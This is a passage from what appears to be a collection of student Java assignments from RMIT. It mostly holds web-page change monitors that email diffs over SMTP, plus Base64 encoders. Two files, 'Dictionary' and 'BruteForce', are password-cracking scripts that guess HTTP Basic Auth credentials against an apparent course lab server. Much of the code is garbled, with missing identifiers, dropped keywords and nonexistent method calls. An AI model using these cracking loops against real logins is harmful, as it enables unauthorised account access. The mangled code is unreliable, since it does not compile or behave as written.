checkLastPage.length()); } else { regexAdd=checkLastPage.substring(0,19); } String [] changes=checkCurrentPage.split(regexAdd, 2); int changeslength=changes.length; if (changeslength>1){ add=true; additions = additions + changes[0]; if (changeslength>1){ checkCurrentPage=regexAdd+changes[1]; } else { if (lastLongestString==true) count=iterations; } } else { String regexSub=""""; if (checkCurrentPage.length()<20){ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length()); } else { regexSub=checkCurrentPage.substring(0,19); } String [] changesSub=checkLastPage.split(regexSub, 2); int changeslengthSub=changesSub.length; if (changeslengthSub>1){ sub=true; subtractions = subtractions + changesSub[0]; if (changeslengthSub>1){ checkLastPage=regexSub+changesSub[1]; } else { if (lastLongestString==false) count=iterations; } } } } } } } String emailBody=""Changes have been . \n""+additions+subtractions; sendEmail(emailBody); } writeData(currentPage); wait24(startTime); } } private static void wait24( int startTime) { boolean waiting=true; while(waiting){ Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ waiting=false; } } } public static String readData() { String data; String lastPage=""""; try { BufferedReader in = new BufferedReader(new FileReader(""LastVisitedPage.html"")); while ((data = in.readLine())!=null) { lastPage= lastPage + data +""\n""; } } catch (FileNotFoundException e1) { System.exit(0); } catch (IOException e2) { System.out.println(""IO Exception, exiting""); System.exit(0); } finally { try { if (null!=in) { in.next(); } } catch (IOException e3) {} } return lastPage; } public static void writeData(String currentPage) { PrintWriter out; try { out = new PrintWriter (new BufferedWriter(new FileWriter(""LastVisitedPage.html""))); out.println(currentPage); } catch (IllegalArgumentException e1) { System.out.println (""Sorry, 't write file. None of changes in this session have been saved""); System.exit(0); } catch (IOException e2) { System.out.println (""Sorry, 't write file. None of changes in this session have been saved""); System.exit(0); } finally {} } public static void sendEmail(String emailBody){ Socket smtpSocket =null; DataOutputStream os = null; InputStreamReader is = null ; Date dDate = new Date(); DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US); try{ smtpSocket = new Socket("".rmit.edu."", 25); os = new DataOutputStream(smtpSocket.getOutputStream()); is = new InputStreamReader(smtpSocket.getInputStream()); BufferedReader = new BufferedReader(is); if(smtpSocket != null && os != null && is != null){ try { os.writeBytes(""HELO .rmit.edu.\r\n""); os.writeBytes(""MAIL From: <@.rmit.edu.>\r\n""); os.writeBytes(""RCPT : <@cs.rmit.edu.>\r\n""); os.writeBytes(""DATA\r\n""); os.writeBytes(""X-Mailer: Via Java\r\n""); os.writeBytes(""DATE: "" + dFormat.format(dDate) + ""\r\n""); os.writeBytes(""From: <@cs.rmit.edu.>\r\n""); os.writeBytes("": <@cs.rmit.edu.>\r\n""); os.writeBytes(""Subject: updated\r\n""); os.writeBytes(emailBody + ""\r\n""); os.writeBytes(""\r\n.\r\n""); os.writeBytes(""QUIT\r\n""); String responseline; while((responseline=is.readLine())!=null){ if(responseline.indexOf(""Ok"") != -1) { break; } } } catch(Exception e){ System.out.println(""Cannot send email as error occurred.""); } } else System.out.println(""smtpSocket another variable is null!""); } catch(Exception e){ System.out.println(""Host unknown""); } } } " 059.java," public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 028.java," import java.io.*; import java.net.Socket; import java.util.*; public class Email { private String hello; private String mailFrom=""""; private String mailTo=""""; private String mailData=""""; private String subject=""""; private String content=""""; private String follows=""""; private String changeContent=""""; private String stop=""""; private String end=""""; private String line=""""; private InputStream is; private BufferedReader bf; private OutputStream os; private PrintWriter pw; public Email(Vector change) throws Exception { hello= ""HELO mail.rmit.edu.""; mailFrom = ""MAIL FROM: @cs.rmit.edu.""; mailTo = ""RCPT : @cs.rmit.edu.""; mailData = ""DATA""; subject=""Subject: Some changes occur""; content="" is some changes the : http://www.cs.rmit.edu./students/""; follows=""The changes as follows:""; for(int i=0;i diff.html""}; Process p = Runtime.getRuntime().exec(""mkdir predir""); p.waitFor(); Process p1 = Runtime.getRuntime().exec(""mkdir postdir""); p1.waitFor(); p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p1.waitFor(); Process q2 = Runtime.getRuntime().exec(s2); q2.waitFor(); Process q3 = Runtime.getRuntime().exec(s3); q2.waitFor(); Thread.sleep(86400000); p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p3.waitFor(); Process q4 = Runtime.getRuntime().exec(s4); q4.waitFor(); Process q5 = Runtime.getRuntime().exec(s5); q5.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s6); DataInputStream inp1 = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println(""The WatchDog - Returns 0 if change else 1""); System.out.println(""Value :"" + p4.exitValue()); try { while ((str = inp1.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e ) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader(""change.html"")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream inp2 = new DataInputStream(p5.getInputStream()); p5.waitFor(); try { while ((str1 = inp2.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException exp) { exp.printStackTrace(); } } } } } " 076.java,"import java.io.*; import java.net.*; public class MyAuthenticator extends Authenticator { String username; String password; protected PasswordAuthentication getPasswordAuthentication() { String promptString = getRequestingPrompt(); String hostname = getRequestingHost(); InetAddress ipaddr = getRequestingSite(); int port = getRequestingPort(); return new PasswordAuthentication(username, password.toCharArray()); } public MyAuthenticator(String user, String pass) { username = user; password = pass; } } " 250.java," class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }" 055.java," import java.net.*; import java.io.*; import java.misc.*; import java.io.BufferedInputStream; import java.awt.*; import java.awt.event.*; public class WriteFile { String url; String fileName; int flag; private PrintWriter out2; private TextArea response; int status; int mailFlag; public WriteFile (String newUrl, String newFileName, int newFlag) { url = newUrl; fileName = newFileName; PrintWriter printW = null; FileOutputStream fout; flag = newFlag; status = 0; mailFlag = 0; File file = new File(fileName); file.delete(); try { fout = new FileOutputStream(fileName,true); printW = new PrintWriter(fout); } catch (IOException ioe) { System.out.println(""IO Error : "" + ioe); } URL u; URLConnection uc; try { u = new URL(url); try { uc = u.openConnection(); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader(content)); String line; while ((line = in.readLine()) != null) { printW.println(line); } } catch (Exception e) { System.out.println(""Error: "" + e); } } catch (MalformedURLException e) { System.out.println(url + "" is not a parseable URL""); } printW.print(); if(flag == 1) { compareDiff(""@.rmit.edu.""); } } String loadStream(InputStream in) throws IOException { int ptr = 0; in = new BufferedInputStream(in); StringBuffer buffer = new StringBuffer(); while( (ptr = in.next()) != -1 ) { status++; buffer.append((char)ptr); mailFlag++; } return buffer.toString(); } public void compareDiff(String emailAdd) { String cmds = ""diff test1.txt test2.txt""; PrintWriter printW2 = null; FileOutputStream fout2; File file = new File(""diff.txt""); file.delete(); String ; try { fout2 = new FileOutputStream(""diff.txt"",true); printW2 = new PrintWriter(fout2); } catch (IOException ioe) { System.out.println(""IO Error : "" + ioe); } try { Process ps = Runtime.getRuntime().exec(cmds); PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream())); printW2.println(loadStream(ps.getInputStream())+""\n""); printW2.print(); if(mailFlag != 0) { FileReader fRead2; BufferedReader buf2; try { fRead2 = new FileReader(""diff.txt""); buf2 = new BufferedReader(fRead2); String line2; int i=0; line = new String("" some changes the web as followed: \n""); Socket s = new Socket(""wombat.cs.rmit.edu."", 25); out2 = new PrintWriter(s.getOutputStream()); send(null); send(""HELO cs.rmit.edu.""); send(""MAIL FROM: @.rmit.edu.""); send(""RCPT : @.rmit.edu.""); send(""DATA""); while( (line2 = buf2.readLine()) != null) { line= new String(""""+line2+""\n""); } out2.print(); send("".""); s.print(); } catch(FileNotFoundException e) { System.out.println(""File not found""); } catch(IOException ioe) { System.out.println(""IO Error "" + ioe); } } System.out.println(loadStream(ps.getInputStream())); System.err.print(loadStream(ps.getErrorStream())); } catch(IOException ioe) { ioe.printStackTrace(); } } public void send(String s) throws IOException { response = new TextArea(); if(s != null) { response.append(s + ""\n""); out2.println(s); out2.flush(); } } public int getStatus() { return status; } }" 204.java," import java.io.*; import java.net.*; public class Copier { private URL target; public Copier( String fileName) { try { String line; BufferedReader ; BufferedWriter bout; target = new URL( ""http://www.cs.rmit.edu./students""); InputStream hm = target.openStream(); HttpURLConnection urlcon = ( HttpURLConnection) target.openConnection(); bf = new BufferedReader( new InputStreamReader( target.openStream())); bout = new BufferedWriter(new FileWriter(fileName)); while((line = bf.readLine()) != null) { bout.write( line+""\n""); } bout.print(); } catch( Exception e) { System.out.println(""Something wrong! ""+e); System.exit(0); } } public static void main (String[] args) { Copier c = new Copier(""response.html""); } } " 254.java," import java.io.*; import java.net.*; import java.*; import java.String; import java.util.*; public class WatchDogThread extends Thread { private int dayTime; private Vector webPageLines; private Vector originalWebPageLines; private Vector addLines; private Vector deductLines; private Vector v; private Runtime run; private String str; private String responseLine; private String host; private int lineNo; private Process process; private Socket socket; private BufferedReader in; private BufferedReader pageLine; private PrintWriter out; private boolean checked = false; private boolean changed = false; private static String commandLine=""curl http://www.cs.rmit.edu./students/ -i""; private String[] sendString = { ""HELO mail.nowhere."", ""MAIL FROM: @cs.rmit.edu."", ""RCPT : @cs.rmit.edu."", ""DATA"", ""Subject: webpage changed!"", ""."", ""QUIT""}; public WatchDogThread(String str) { super(str); dayTime = 24*60*60*1000; webPageLines = new Vector(); originalWebPageLines = new Vector(); addLines = new Vector(); deductLines = new Vector(); v = new Vector(); } public void run() { run = Runtime.getRuntime(); host = ""mail.cs.rmit.edu.""; while(true) { try{ if(!loadPage()) break; if(checked) { compare(); if(addLines.size() != 0 || deductLines.size() != 0) { changed = true; } else if(v.size() != 0) { changed = true; addLines.removeAllElements(); deductLines.removeAllElements(); } else { changed = false; addLines.removeAllElements(); deductLines.removeAllElements(); } if(changed) { socket = new Socket(host,25); in = new BufferedReader(new InputStreamReader( socket.getInputStream())); out = new PrintWriter(new OutputStreamWriter( socket.getOutputStream())); out.println(sendString[0]); out.flush(); while((responseLine = in.readLine())!=null){ if(responseLine.indexOf(""pleased meet "") != -1) break; } if(responseLine.indexOf(""pleased meet "") != -1) { out.println(sendString[1]); out.flush(); responseLine = in.readLine(); if(responseLine.substring(responseLine.length()-9,responseLine.length()).equals(""Sender ok"")) { out.println(sendString[2]); out.flush(); responseLine = in.readLine(); if(responseLine.substring(responseLine.length()-12,responseLine.length()).equals(""Recipient ok"")) { out.println(sendString[3]); out.flush(); responseLine = in.readLine(); if(responseLine.substring(0,14).equals(""354 Enter mail"")) { out.println(sendString[4]); out.flush(); lineNo = 0; if(addLines.size()!=0) { out.println(""The following lines the added new lines:""); out.flush(); while(addLines.size()>lineNo) { out.println(String.valueOf(lineNo+1)+"": ""+(String)(addLines.elementAt(lineNo++))); out.flush(); } out.println(""\n--- --- --- --- --- --- ---\n""); out.flush(); } lineNo = 0; if(deductLines.size()!=0) { out.println(""The following lines the deducted lines:""); out.flush(); while(deductLines.size()>lineNo) { out.println(String.valueOf(lineNo+1)+"": ""+ (String)(deductLines.elementAt(lineNo++))); out.flush(); } out.println(""\n--- --- --- --- --- --- ---\n""); out.flush(); } lineNo = 0; if(v.size() != 0) { out.println(""The following lines the added lines that the same""); out.flush(); out.println("" as some lines in the original webpage:""); out.flush(); while(v.size()>lineNo) { out.println(String.valueOf(lineNo+1)+"": ""+ (String)(v.elementAt(lineNo++))); out.flush(); } out.println(""\n--- --- --- --- --- --- ---\n""); out.flush(); } out.println(sendString[5]); out.flush(); responseLine = in.readLine(); if(responseLine.substring(responseLine.length()-29,responseLine.length()).equals(""Message accepted for delivery"")) { out.println(sendString[6]); out.flush(); } } } } } socket.close(); } update(changed); } else { checked = true; update(changed); } } catch (Exception e) { System.out.println(e.getMessage()); break; } try { sleep(dayTime); } catch (InterruptedException e ) { System.out.println(e.getMessage()); break; } } } public void compare() { int n = 0; int j = 0; try { v.removeAllElements(); while(n < webPageLines.size()) { for(j = 0; j < originalWebPageLines.size(); j++) { if(((String)(webPageLines.elementAt(n))) .equals((String)(originalWebPageLines.elementAt(j)))) { v.addElement((String)(webPageLines.elementAt(n))); break; } } if(j == originalWebPageLines.size()) { addLines.addElement((String)(webPageLines.elementAt(n))); } n++; } n = 0; while(n < originalWebPageLines.size()) { for(j = 0; j < webPageLines.size(); j++) { if(((String)(originalWebPageLines.elementAt(n))) .equals((String)(webPageLines.elementAt(j)))) { v.remove((String)(originalWebPageLines.elementAt(n))); break; } } if(j == webPageLines.size()) { deductLines.addElement((String)(originalWebPageLines.elementAt(n))); } n++; } } catch (Exception e) { System.out.println(e.getMessage()); } } public void update(boolean updatePageLines) { try { addLines.removeAllElements(); deductLines.removeAllElements(); v.removeAllElements(); if(updatePageLines) { originalWebPageLines.removeAllElements(); for(int i=0; i< webPageLines.size(); i++) { originalWebPageLines.addElement((String)(webPageLines.elementAt(i))); } webPageLines.removeAllElements(); } else webPageLines.removeAllElements(); changed = false; } catch (Exception e) { System.out.println(e.getMessage()); } } public boolean loadPage() { try { process = run.exec(commandLine); pageLine = new BufferedReader(new InputStreamReader(process.getInputStream())); str = pageLine.readLine(); if(str.equals(""HTTP/1.1 200 OK"")) { { str = pageLine.readLine(); if(str.indexOf(""<"") != -1) break; }while(true); if(!checked) originalWebPageLines.addElement(str); else webPageLines.addElement(str); { str = pageLine.readLine(); if(str != null) { if(str.length() != 0 && !(str.equals(""""))) { if(!checked) originalWebPageLines.addElement(str); else webPageLines.addElement(str); } } else break; } while(true); return true; } else return false; } catch (Exception e) { System.out.println(e.getMessage()); } return true; } } " 243.java,"import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 169.java,"package java.httputils; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.BufferedReader; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.FileReader; import java.io.IOException; import java.io.OutputStream; public class WatchDog { protected final int MILLIS_IN_HOUR = (60 * 60 * 1000); protected int interval = 24; protected String URL = ""http://www.cs.rmit.edu./students/""; protected String fileName = ""WatchDogContent.html""; protected String command = ""./alert_mail.sh""; protected String savedContent; protected String retrievedContent; public WatchDog() { super(); } public void run() throws Exception { HttpRequestClient client = null; System.out.println(getClass().getName() + ""Retrieving baseline copy of: "" + getURL()); client = new HttpRequestClient(getURL()); retrievedContent = client.getContent().toString(); System.out.println(getClass().getName() + ""Writing baseline content : "" + getFileName()); writeFile(); while (true) { System.out.println(getClass().getName() + "" Sleeping for hours: "" + getInterval()); Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval()); System.out.println(getClass().getName() + "" Retrieving: "" + getURL()); client = new HttpRequestClient(getURL()); retrievedContent = client.getContent().toString(); System.out.println(getClass().getName() + "" saved copy: "" + getURL()); savedContent = readFile(); System.out.println(getClass().getName() + "" Comparing saved and retrieved. ""); if (!savedContent.equals(retrievedContent)) { System.out.println(getClass().getName() + "" Difference found. ""); writeTempFile(); runCommand(); } writeFile(); } } public String runCommand() { String cmd = getCommand() + "" \"""" + getURL() + ""\""""; try { Runtime r = Runtime.getRuntime(); System.out.println(getClass().getName() + "" Executing: "" + cmd); Process proc = r.exec(cmd); } catch (Exception e) { try { Runtime r = Runtime.getRuntime(); Process proc = r.exec(cmd); } catch (Exception ex) { System.out.println(getClass().getName() + "" Could not run :"" + getCommand() + "" because : "" + ex.getMessage()); } } return ""Executed successfully""; } protected String readFile() throws FileNotFoundException { BufferedInputStream input = null; FileInputStream file = null; StringBuffer content = new StringBuffer(); try { file = new FileInputStream(getFileName()); input = new BufferedInputStream(file); } catch (FileNotFoundException x) { System.err.println(""File not found: "" + getFileName()); throw x; } try { int ch; while ((ch = input.get()) != -1) { content.append((char)ch); } } catch (IOException x) { x.printStackTrace(); } finally { if (input != null) { try { input.get(); file.get(); } catch (IOException e) { } } } return content.toString(); } protected void writeFile() throws Exception { OutputStream os = null; try { os = new BufferedOutputStream( new FileOutputStream(getFileName(), false)); os.write(getRetrievedContent().getBytes()); } catch (FileNotFoundException e) { e.printStackTrace(); throw e; } catch (IOException e) { e.printStackTrace(); throw e; } finally { if (os != null) { try { os.close(); } catch (IOException e) { } } } } protected void writeTempFile() throws Exception { OutputStream os = null; try { os = new BufferedOutputStream( new FileOutputStream("".html"", false)); os.write(getRetrievedContent().getBytes()); } catch (FileNotFoundException e) { e.printStackTrace(); throw e; } catch (IOException e) { e.printStackTrace(); throw e; } finally { if (os != null) { try { os.close(); } catch (IOException e) { } } } } public static void main(String[] args) { WatchDog watchDog = new WatchDog(); if (args.length < 3) { watchDog.printUsage(); } System.out.println(watchDog.getClass().getName() + "": Initialising with "" + args[0] + "" \n"" + args[1] + "" \n"" + args[2] + "" \n""); watchDog.setURL(args[0]); watchDog.setInterval(Integer.parseInt(args[1])); watchDog.setCommand(args[2]); try { System.out.println(watchDog.getClass().getName() + "": Invoking the run method.""); watchDog.run(); } catch (Exception e) { e.printStackTrace(); } } public String printUsage() { StringBuffer s = new StringBuffer(); s.append(""** WatchDog proper usage **\n\n""); s.append( this.getClass().getName() + "" \n\n""); return s.toString(); } public String getCommand() { return command; } public String getFileName() { return fileName; } public int getInterval() { return interval; } public String getURL() { return URL; } public void setCommand(String string) { command = string; } public void setFileName(String string) { fileName = string; } public void setInterval(int i) { interval = i; } public void setURL(String string) { URL = string; } public String getRetrievedContent() { return retrievedContent; } public String getSavedContent() { return savedContent; } public void setRetrievedContent(String string) { retrievedContent = string; } public void setSavedContent(String string) { savedContent = string; } } " 019.java," import java.util.*; import java.util.Timer; import java.util.TimerTask; import javax.swing.*; public class WatchDog { public static void main ( String args[] ) { String input = JOptionPane.showInputDialog(""Enter time range(seconds)""); if( input == null ) System.exit(0); int range = Integer.parseInt( input ); Timer timer = new Timer(); WatchDogTask watchDogTask = new WatchDogTask(); timer.schedule( watchDogTask, new Date(), range*1000 ); } } " 241.java,"import java.io.*; import java.net.*; import java.util.*; import java.*; public class WatchDog { public static final int interval = 79200000; public static void main(String[] args) { WatchDog wd = new WatchDog(); Thread thread = new Thread(); URLConnection conn = null; DataInputStream data = null; DataInputStream in = null; String line; String lines; String buffer = new String(); String buffers = new String(); String url = new String(""http://www.cs.rmit.edu./students/""); boolean change; try{ URL myurl = new URL(url); conn = myurl.openConnection(); conn.connect(); Object content = null; System.out.println(""Connection opened......""); System.out.println(""Retrieving data from URL""); data = new DataInputStream(new BufferedInputStream(conn.getInputStream())); System.out.println("" data from the URL......""); content = myurl.getContent(); BufferedReader reader = null; reader = new BufferedReader(new InputStreamReader((InputStream) content)); while ((line = data.readLine()) != null) { System.out.println(line); FileWriter outnew = new FileWriter(""watchdogresult.html""); outnew.write(line); } System.out.println(""Waiting for any change....""); thread.sleep(79200000); conn = myurl.openConnection(); conn.connect(); in = new DataInputStream(new BufferedInputStream(conn.getInputStream())); while ((lines = in.readLine()) != null) { FileWriter newf = new FileWriter(""watchdogresult.tmp""); newf.write(buffers); } change = true; if(change); else{ change = false; wd.mail(); } } catch (InterruptedException e) {} catch (IOException e) { e.printStackTrace(); String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); } else System.out.println(""Other problems""); } } public void mail(){ try { String from = new String(""Watchdog Reporter""); String email = new String(""@cs.rmit.edu.""); String subject = new String("" is a change in ""); URL u = new URL(""mailto:"" + email); URLConnection c = u.openConnection(); c.setDoInput(false); c.setDoOutput(true); System.out.println(""Connecting...""); System.out.flush(); c.connect(); PrintWriter out = new PrintWriter(new OutputStreamWriter(c.getOutputStream())); out.println(""From: \"""" + from + ""\"" <"" + System.getProperty(""user.name"") + ""@"" + InetAddress.getLocalHost().getHostName() + "">""); out.println("": "" ); out.println(""Subject: "" + subject); out.println(); String line = new String(""Watchdog observe that is a change in the web .""); out.close(); System.out.println(""Message sent.""); System.out.flush(); } catch (Exception e) { System.err.println(e); } } } " 153.java,"import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""""; String auth_data; String server_res_code; String required_server_res_code=""200""; int cntr=0; try { URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }" 200.java," import java.io.*; import java.util.*; public class Dog { public Dog() { Copier cop; String[] myFiles; File myDir = new File("".""); myFiles = myDir.list(); int flag = 0; int j; for(int i = 0;i < myFiles.length; i++) { j = myFiles[i].compareTo(""oldCopy.html""); if( j == 0) { System.out.println(myFiles[i]+"" ""+j); flag 